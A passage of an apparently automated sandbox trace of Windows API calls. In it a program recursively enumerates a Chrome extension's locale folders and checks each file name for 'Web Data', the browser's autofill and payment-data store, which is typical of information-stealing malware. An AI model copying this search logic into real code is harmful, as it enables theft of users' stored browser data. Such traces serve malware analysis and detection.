[0056.374] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.374] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.375] LocalFree (hMem=0x2e0328) returned 0x0 [0056.375] LocalFree (hMem=0x2e0218) returned 0x0 [0056.375] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.375] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.375] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.375] lstrlenA (lpString="\\") returned 1 [0056.375] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.375] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.375] lstrlenA (lpString="sk") returned 2 [0056.375] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.375] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk" [0056.375] LocalFree (hMem=0x2e0108) returned 0x0 [0056.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned 133 [0056.375] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned 133 [0056.375] lstrlenA (lpString="\\*.*") returned 4 [0056.375] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.375] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk" [0056.375] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*" [0056.375] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.376] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.376] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.376] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.376] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.376] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.376] LocalFree (hMem=0x2e0328) returned 0x0 [0056.376] LocalFree (hMem=0x2e0218) returned 0x0 [0056.376] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.376] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.376] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.376] lstrlenA (lpString="\\") returned 1 [0056.376] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.376] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.376] lstrlenA (lpString="sl") returned 2 [0056.376] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.376] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl" [0056.376] LocalFree (hMem=0x2e0108) returned 0x0 [0056.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned 133 [0056.376] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned 133 [0056.376] lstrlenA (lpString="\\*.*") returned 4 [0056.376] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.376] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl" [0056.376] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*" [0056.376] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.376] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.376] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.376] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.376] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.376] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.376] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.377] LocalFree (hMem=0x2e0328) returned 0x0 [0056.377] LocalFree (hMem=0x2e0218) returned 0x0 [0056.377] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.377] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.377] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.377] lstrlenA (lpString="\\") returned 1 [0056.377] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.377] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.377] lstrlenA (lpString="sr") returned 2 [0056.377] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.377] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr" [0056.377] LocalFree (hMem=0x2e0108) returned 0x0 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned 133 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned 133 [0056.377] lstrlenA (lpString="\\*.*") returned 4 [0056.377] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.377] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr" [0056.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*" [0056.377] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.377] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.377] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.377] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.377] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.377] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.377] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.377] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.377] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.377] LocalFree (hMem=0x2e0328) returned 0x0 [0056.377] LocalFree (hMem=0x2e0218) returned 0x0 [0056.377] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.377] lstrcmpiA (lpString1=".", lpString2="sv") returned -1 [0056.377] lstrcmpiA (lpString1="..", lpString2="sv") returned -1 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.377] lstrlenA (lpString="\\") returned 1 [0056.377] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.377] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.377] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.377] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.377] lstrlenA (lpString="sv") returned 2 [0056.378] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.378] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv" [0056.378] LocalFree (hMem=0x2e0108) returned 0x0 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned 133 [0056.378] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned 133 [0056.378] lstrlenA (lpString="\\*.*") returned 4 [0056.378] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2e0328 [0056.378] lstrcpyA (in: lpString1=0x2e0328, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv" [0056.378] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*" [0056.378] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.378] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.378] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.378] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.378] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.378] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.378] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.378] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.378] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.378] LocalFree (hMem=0x2e0328) returned 0x0 [0056.378] LocalFree (hMem=0x2e0218) returned 0x0 [0056.378] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: 